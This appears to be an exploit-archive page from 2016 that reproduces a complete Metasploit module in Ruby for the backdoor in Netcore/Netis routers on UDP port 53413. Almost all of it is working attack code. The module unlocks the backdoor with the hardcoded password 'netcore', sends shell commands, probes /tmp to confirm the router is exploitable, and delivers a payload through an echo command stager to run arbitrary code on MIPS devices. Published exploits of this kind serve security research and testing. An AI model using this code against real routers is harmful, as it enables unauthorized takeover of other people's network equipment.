Home / os / winmobile

Netcore Router Udp 53413 Backdoor

Posted on 11 August 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Udp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Netcore Router Udp 53413 Backdoor',
'Description' => %q{
Routers manufactured by Netcore, a popular brand for networking
equipment in China, have a wide-open backdoor that can be fairly
easily exploited by attackers. These products are also sold under
the Netis brand name outside of China. This backdoor allows
cyber criminals to easily run arbitrary code on these routers,
rendering it vulnerable as a security device.
Some models include a non-standard echo command which doesn't
honor -e, and are therefore not currently exploitable with
Metasploit. See URLs or module markdown for additional options.
},
'Author' =>
[
'Nixawk',
'h00die <mike@shorebreaksecurity.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ],
[ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ],
[ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py']
],
'Privileged' => true,
'Targets' =>
[
['MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
['MIPS Big Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 25 2014'))

register_options(
[
OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]),
Opt::RPORT(53413)
], self.class)
end

def timeout
(datastore['TIMEOUT'] || 1000) / 1000.0
end

def send_command(data)
payload = "x00" * 8
payload << data
udp_sock.put(payload)
end

def execute_command(cmd, _opts)
send_command(cmd)
vprint_status("Sending: #{cmd}")
end

def authenticate()
# netcore is the password to unlock the backdoor
send_command('netcore')
resp = udp_sock.get(timeout)
if resp.include?('Login succeeded!')
vprint_good('Backdoor Unlocked')
end
end

def check
connect_udp
authenticate
resp = []
tmp_file = Rex::Text.rand_text_alpha(5)
# we need to test the echo command to see if it plays nice
["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command|
send_command(command)
resp << udp_sock.get(timeout)
end
disconnect_udp
resp_str = resp.join(',')
# check if we got a good response back
if resp.length >= 1 && resp_str.include?("x00x00x00x05") && resp_str.include?(tmp_file)
# some routers have a non-standard echo which doesn't support -en, so we need to detect that
if resp_str.include?('en ')
print_status('Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.')
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Vulnerable
end
else
Exploit::CheckCode::Safe
end
end

def exploit
print_status('Exploiting...')
connect_udp
authenticate
execute_cmdstager(:flavor => :echo, :linemax => 200)
disconnect_udp
end
end

 

TOP